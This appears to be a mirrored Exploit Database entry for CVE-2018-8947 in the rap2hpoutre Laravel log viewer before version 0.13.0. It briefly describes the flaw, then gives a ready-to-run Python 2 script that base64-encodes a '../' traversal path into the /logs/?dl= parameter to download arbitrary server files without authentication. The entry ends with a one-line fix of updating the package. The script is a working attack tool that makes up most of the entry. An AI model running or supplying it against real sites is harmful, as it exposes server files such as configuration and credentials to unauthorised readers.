Laravel Log Viewer < 0.13.0 - Local File Download

• Exploit Database
• 14 阅读

• 作者： Haboob Team
  日期： 2018-03-26
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/44343/

• # Exploit Title: Laravel log viewer by rap2hpoutre local file download (LFD)
  # Date: 23/02/2018
  # Exploit Author: Haboob Team
  # Software Link: https://github.com/rap2hpoutre/laravel-log-viewer/tree/v0.11.1
  # Version: v0.12.0 and below
  # CVE : CVE-2018-8947
  
   
  1. Description
   
  Unauthorized user can access Laravel log viewer by rap2hpoutre and use download function to download any file with laravel permission, by base64 encode the wanted file.
   
   
  2. Proof of Concept
   
  #After providing the url of the vulnerable laravel log viewer by rap2hpoutre (with / in the end or you can edit it yourself), and the file wanted including "../" the script will create a folder and save the downloaded file there
   
  import os
  import base64
  from urllib2 import urlopen, URLError, HTTPError
  import argparse
  import cookielib
  parser = argparse.ArgumentParser(description='_0_ Laravel 0Day _0_')
  parser.add_argument("-u", action="store", dest="url", help="Target URL", required=True)
  parser.add_argument("-f", action="store", dest="file", help="Target File", required=True)
  
  args = parser.parse_args()
  url = str(args.url).strip()+"/logs/?dl="
  final_file= args.file
  if not os.path.exists("./0Grats0"):
  os.makedirs("./0Grats0")
  
  word = str(args.file).split('/')
  word1= "./0Grats0/"+word[-1]
  finalee=url+base64.b64encode(final_file)
  
  try:
  f = urlopen(finalee)
  with open(word1, "wb") as local_file:
  local_file.write(f.read())
  except HTTPError, e:
  print "HTTP Error:", e.code, finalee
  except URLError, e:
  print "URL Error:", e.reason, finalee
   
   
   
   
   
  3. Solution:
   
  Update to version v0.13.0
  https://github.com/rap2hpoutre/laravel-log-viewer/releases/tag/v0.13.0